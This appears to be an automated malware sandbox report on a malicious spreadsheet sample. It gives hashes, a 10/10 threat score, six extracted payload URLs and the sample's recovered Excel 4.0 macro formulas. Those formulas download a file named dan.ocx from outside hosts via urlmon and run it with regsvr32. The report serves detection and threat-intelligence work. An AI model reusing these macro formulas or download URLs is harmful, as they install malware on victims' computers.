General
-
Target
5083018ea9154b9becdf566b66ab725d56de182f2af9cd69bcd46383b9425419
-
Size
40KB
-
Sample
241120-pq7ytawfrd
-
MD5
87a1c5bd3f5bef714ab8ab4d8155d261
-
SHA1
9a51be90a17a0e5d5fe469e45a7a0d0b52648429
-
SHA256
5083018ea9154b9becdf566b66ab725d56de182f2af9cd69bcd46383b9425419
-
SHA512
569404ebf87fe5e436b675019880719c15959db0b880e2999775647ab6ddaf524e0b756485382d3bd5aaee29c7dd338e9b1910f2dc2bc73db9eaeaaf1adfe941
-
SSDEEP
768:5qoOomihd8DOevZCwtofyKfcrND59V+L9Rw4eWrXcTqZ0VfIeg:XOom8eDGylND59V4jwmXc2CVfIb
Malware Config
Extracted
https://asempaye.com/404/zREXldL8ZfpsEepiC/
https://freesoft18.com/urq/dd1s9WyDLkdM/
https://vidarefugio.com/wp-content/AQj7kZUR8VcKYOe/
https://rjssjharkhand.com/wp-content/NEenGg5UHA24gnZAlYj/
https://pedroribeiro.work/wp-admin/qOkQQ/
https://hojeemdia.life/detector/klwHgC9eat/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://asempaye.com/404/zREXldL8ZfpsEepiC/","..\dan.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://freesoft18.com/urq/dd1s9WyDLkdM/","..\dan.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vidarefugio.com/wp-content/AQj7kZUR8VcKYOe/","..\dan.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://rjssjharkhand.com/wp-content/NEenGg5UHA24gnZAlYj/","..\dan.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://pedroribeiro.work/wp-admin/qOkQQ/","..\dan.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://hojeemdia.life/detector/klwHgC9eat/","..\dan.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\dan.ocx") =RETURN()
Extracted
https://asempaye.com/404/zREXldL8ZfpsEepiC/
https://freesoft18.com/urq/dd1s9WyDLkdM/
https://vidarefugio.com/wp-content/AQj7kZUR8VcKYOe/
https://rjssjharkhand.com/wp-content/NEenGg5UHA24gnZAlYj/
https://pedroribeiro.work/wp-admin/qOkQQ/
https://hojeemdia.life/detector/klwHgC9eat/
Extracted
https://asempaye.com/404/zREXldL8ZfpsEepiC/
Targets
-
-
Target
5083018ea9154b9becdf566b66ab725d56de182f2af9cd69bcd46383b9425419
-
Size
40KB
-
MD5
87a1c5bd3f5bef714ab8ab4d8155d261
-
SHA1
9a51be90a17a0e5d5fe469e45a7a0d0b52648429
-
SHA256
5083018ea9154b9becdf566b66ab725d56de182f2af9cd69bcd46383b9425419
-
SHA512
569404ebf87fe5e436b675019880719c15959db0b880e2999775647ab6ddaf524e0b756485382d3bd5aaee29c7dd338e9b1910f2dc2bc73db9eaeaaf1adfe941
-
SSDEEP
768:5qoOomihd8DOevZCwtofyKfcrND59V+L9Rw4eWrXcTqZ0VfIeg:XOom8eDGylND59V4jwmXc2CVfIb
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-